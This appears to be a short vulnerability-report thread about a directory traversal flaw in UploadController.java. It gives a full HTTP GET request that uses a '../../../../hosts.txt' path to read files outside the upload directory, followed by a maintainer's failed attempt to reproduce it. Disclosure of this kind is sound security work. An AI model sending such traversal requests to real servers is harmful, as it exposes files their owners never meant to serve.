[vulnerability] Directory traversal Vulnerability in UploadController.java

[x0blank]

Directory traversal Vulnerability in UploadController.java

`GET /upload/file/2024/11/20/1859180710022115329.png/../../../../hosts.txt HTTP/1.1
Host: localhost:8101
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

`

Directory traversal to read files

[MagicZer0]

I can't reproduce this issue. Why the hosts.txt can't be found in my machine?

[x0blank]

Directory traversal vulnerability, hosts file is self set in the root directory of the image directory